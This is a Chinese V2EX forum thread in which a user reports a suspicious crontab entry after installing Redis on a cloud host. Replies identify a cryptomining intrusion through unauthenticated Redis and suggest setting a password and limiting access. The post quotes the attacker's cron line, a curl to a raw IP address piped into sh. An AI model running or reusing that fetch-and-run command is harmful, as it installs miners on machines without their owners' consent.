租的腾讯云主机安装 redis 后没几天, 发现多了一条记录, 是不是被入侵了...

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

• 请不要在回答技术问题时复制粘贴 AI 生成的内容

这是一个创建于 3115 天前的主题，其中的信息可能已经有所发展或是发生改变。

*/1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh

12 条回复 • 2017-07-07 02:30:42 +08:00

weiweiwitch

2017 年 7 月 6 日

redis 启用密码了吗，没有启用的话，很容易被入侵。

killerv

2017 年 7 月 6 日

redis 最好限制外网访问+启用认证

expy

2017 年 7 月 6 日

被挖矿了吧 233

shakoon

2017 年 7 月 6 日

是被入侵了，该机器被用作了挖矿的肉鸡

yolan

2017 年 7 月 6 日

@expy #3 貌似是的, 下载了一个 minerd 程序..

yolan

2017 年 7 月 6 日

@weiweiwitch #1 没设置...

shakoon

2017 年 7 月 6 日

解决可参考这个 http://www.centoscn.com/CentosBug/osbug/2016/0724/7671.html

yolan

2017 年 7 月 6 日

@shakoon #7 好, 我看看

evlos

2017 年 7 月 6 日 via iPhone

看一下那个人的挖矿账号累计挖到了 200 多 XMR，差不多一万多人民币

Itanium

2017 年 7 月 6 日

现在 CPU 挖矿效率很高吗？

realpg

PRO

2017 年 7 月 6 日 via Android

你一定是用了 centos

msg7086

2017 年 7 月 7 日

不要跟我说你 redis 给的权限能大到任意改写系统文件哦？